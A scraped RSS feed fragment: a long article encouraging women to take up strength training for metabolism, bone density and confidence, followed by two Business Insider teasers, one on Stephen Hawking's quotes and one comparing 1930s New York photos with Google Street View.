I have two words for you: lifting weights. It’s unfortunate that the #1 go-to method for women who want to lose weight is to do cardio in excess, especially when the scale has stopped moving and they have stopped seeing results.
Cardio and a proper diet will definitely help you to lose weight, but without a lifting routine you will lose muscle mass at the same time. This is why when most people stray off of stricter diets the weight just comes straight back.
Your baseline metabolism is determined by the amount of muscle you have.
When you have less muscle, due to repeated dieting and cardio, then your body cannot handle the extra calories consumed when you get off the diet. This results in fat storage and weight gain and a serious bust to your self esteem.
If you added strength training into your routine, you wouldn’t encounter the same problem because you’ve increased your overall metabolism through building muscle while simultaneously lowering your bodyfat. Not only will you have more muscle than when you first started, but you’ll notice when looking in the mirror that you also have more tone, shape, and firmness overall.
Strength training is the reason why women look leaner after their transformations but still weigh the same. A leaner, stronger body is the end result of lifting weights regularly.
When it comes to being healthy we’re obsessed with the number on the scale and it dictates how we feel the rest of the day.
We become very conscious about our eating and picky about what we eat. We start classifying our foods as ‘bad’ versus ‘good’ which starts an unhealthy relationship with food. On top of this, the media conditions us that we must look a certain way and meet specific cultural body standards.
With weight training we ignore the scale.
Instead we focus on how much we can lift today, the number on the weights (rather than the scale) and set our sights on lifting more than we did last week.
Unknowingly we start becoming role models for women at the gym and other women in our lives by focusing on what really matters in our fitness journey: our health and our strength, not the number on the scale.
Lifting weights will positively change your identity of who you are in many ways.
When you didn’t see the scale change as fast as you would you like, you may have embraced the idea that you have a slow metabolism.
Perhaps you are the person who had every legitimate excuse under the sun on why you didn’t exercise today–with lack of time being the primary excuse. You felt that other people who are in shape just have more willpower than you do and possibly just blessed with good genetics.
But when you start lifting weights, how you describe who you are will start to shift.
You become the person who says “I am someone who takes care of myself and I make sure to get my workouts in.” The idea that you should exercise everyday becomes I must exercise everyday.
You start identifying and implementing healthier habits such as eating more vegetables, getting 8 hours of sleep, and monitoring your stress levels.
You start walking down the street with a more confident posture. You feel more in control and carry yourself with more competence in every situation.
Ultimately, strength training will cause you to start holding yourself to higher standards. It will raise the bar in all areas of your life so that you become a better version of yourself.
One of the most gratifying outcomes from lifting weights is seeing how strong and capable you are. You may have not have tested yourself, or even thought it was possible to lift that much weight, but you are capable of so much more than you give yourself credit for.
When you are strength training the challenge is between you and yourself.
How much effort did you bring to the gym floor last week, and how much are going to bring to the floor today?
Progress becomes very clear with strength training. It’s either a “yes” or a “no” on whether you lifted more this week than you did last week and whether you brought 100% of your effort.
You become surprised and pleased by how much you can lift when it’s something you really want.
We all need to get out of our way and break the self-imposed limitations we have for ourselves. You will become stronger and feel more empowered when you lift.
Weight training builds stronger muscles and bones.
As females, we have a hormone called estrogen, which plays an important role in helping you maintain your bone density.
Starting at age 35 our bone mass starts decreasing, which leads to an increased risk of developing osteoporosis; this can go undetected until a bone fracture happens.
After menopause, bone loss starts to accelerate increasing the risk of weakened and brittle bones. During the first five to ten years of menopause women can lose up to 25 to 30% of bone density. [1]
If you’re in your early 20s to 30s, then regular weight lifting means you can help maintain your bone density after menopause.
It’s much easier to maintain your current bone density than it is to build it once you’ve stopped producing estrogen, but it’s never too late to start.
Activities that include weight-bearing exercises are important for both bone health maintenance and improvement.
Although it is important to remain active throughout your life resistance training has a greater positive effect on bone density than other types of exercise. [2].
Having strong, dense bones to get you through your golden years is important for long-term health.
Stronger bones lowers your chance of having fractures, which means that you will be able to stay out of the nursing home or assisted living centers for as long as possible when you’re retired.
Not only does weight lifting build stronger bones, but it helps you to grow old gracefully and live on your terms for as long as possible.
Growing old is an inevitable part of life, but we can choose whether we allow life to take its toll on us, or whether we will grow stronger physically and mentally each year.
Interested in anti-aging?
Of course you are. Strength training is one of the many ways to achieve this.
This type of exercise can transforms you into a younger looking person. It will preserve and build muscles that help your posture so you remain upright, dominate life’s tasks, and make everyday easier for yourself.
The harder you work inside the gym, the easier your life will be outside of it.
Having healthy muscles gives you the ability to get up and down the stairs with ease. You are able to pick things up without hurting your back, and get up easily if you fall. If you need to pack up and move houses it’s not a problem because you have the strength and ability to do it.
Well-known palliative care nurse and author Bronnie Ware wrote several books analyzing the top regrets of dying patients. She concluded that “health brings a freedom very few realize, until they no longer have it.”
Lifting weights will give you the strength and ability to take care of yourself for decades to come.
When you have this freedom of health, you instantly have a better quality of life.
This is by far the best benefit of strength training.
Eating is one of the many pleasures of life and judging by the waistline of Americans, most will agree. The average person unknowingly gains about 3-5 pounds every year with majority of that weight gain happening around the holidays.
As we get older, we have the tendency to become more sedentary. This is why weight gain accelerates in our middle age even though our diets haven’t changed much. Inactivity compounded by age-related muscle loss causes us to naturally put on weight.
The good news is that all of this is completely preventable.
What if you can eat more, but still stay slim?
With strength training, you can. In fact, lifting weights helps you to maintain your current lean muscle mass and build more as well.
Not only will you look better in your clothes but you’ll speed up your metabolism.This means that you will have leeway in your diet to eat a little bit more without any consequences to your waistline.
Are you pumped to start lifting weights but you’re not sure where or how to get started?
There are lots of different options out there to help you get started, but when you’re looking for a plan keep in mind three things:
1. Find a plan that works for you now, not one that would work in your ideal situation or your ideal week.
If you only have 2 days a week you can dedicate consistently to workout, then find a plan that is a 2 day strength training program and start with that. You’ll only get frustrated if you cannot follow a plan exactly as you won’t get the results you’re looking for.
2. Schedule your workouts in your calendar and respect it.
Results come from consistency not from a perfect plan. If you don’t make time to strength train, it won’t happen and you won’t see any changes.
3. Focus on your form.
This is to ensure that you engage and activate the right muscles and also stay safe and injury free.
Lifting weights is about building the mind body connection. If you don’t feel your muscles working, then it’s not working. There are many YouTube videos and websites that will help you get your form right or hire an experienced trainer, the investment is well worth it.
Are you convinced yet that lifting weights can benefit your body in more ways than one? Get started today and reap the many rewards of strength training!
]]>
Getty Images
Stephen Hawking died early in the morning on March 14, 2018 — Pi Day and Albert Einstein’s birthday — but left behind one of the most incredible legacies for a human being on Earth.
Hawking was a theoretical physicist who pioneered new understandings of black holes and the cosmos at large. What’s more, he did so while struggling with a severe neurodegenerative disease that confined him to a wheelchair for the vast majority of his life.
The world-renowned scientist carefully contemplated and composed his thoughts with a special eye-tracking computer, and those words — many of them humorous — continue to inspire generations of people who were curious about how the universe works, where it came from, and where it may be headed.
Hawking supplied no shortage of remarkable insights about life, love, and science. Below, we’ve done our best to collect the most memorable things he said in his books, essays, interviews, TV show appearances, and more.
Jenny Cheng/Business Insider
Jenny Cheng/Business Insider
Jenny Cheng/Business Insider
See the rest of the story at Business Insider
See Also:
![]()
Berenice Abbott/Google
Over the past century, New York City’s streets have evolved dramatically.
These changes are especially apparent in archive photos uncovered by the New York Public Library. The collection contains prints from 1935 to 1936 by Berenice Abbott, a photographer who documented NYC’s transformation over the previous century in her series “Changing New York.”
Comparing her photos to Google Street View images reveals how the city’s public spaces have changed up to today.
The city has “taken older infrastructure that no longer serves its original purpose, and we re-use it for new purposes,” Jon Ritter, an urban design and architecture professor at New York University, tells Business Insider. “The bones of the city are still there, but we’re good at adapting it for what we want.”
Take a look at these transformations below.
Berenice Abbott/Google/Skye Gould
In 1939, the tracks in front of the courthouse migrated underground with the creation of the subway, bringing more light to the street and increasing the value of the nearby real estate.
“It had a huge impact,” Ritter says. “The trains were dirty and spewed coal and dirt.”
The Gothic Revival-style courthouse was turned into a public library in 1958, because conservationists worried it would be demolished. It’s now part of the New York City Landmark Preservation Commission‘s Greenwich Village Historic District.
Berenice Abbott/Google/Skye Gould
Under Mayor Michael Bloomberg’s administration, the city banned cars to create pedestrian-only plazas in Herald Square in 2009.
One thing that has remained for nearly a century: the many billboards plastered on the side of the mall.
Berenice Abbott/Google/Skye Gould
In 1954, the city re-oriented the avenue to travel southbound one-way. And in 1980, the city narrowed it to make room for a bike lane.
“The streets have always been crowded and continue to be,” Ritter says. “But within the last decade, we’ve started to less of an emphasis on cars and more on bike and pedestrian space to create a landscape in the city.”
See the rest of the story at Business Insider
See Also:
SEE ALSO: Incredible images of Los Angeles when it was covered in wetlands
![]()
]]>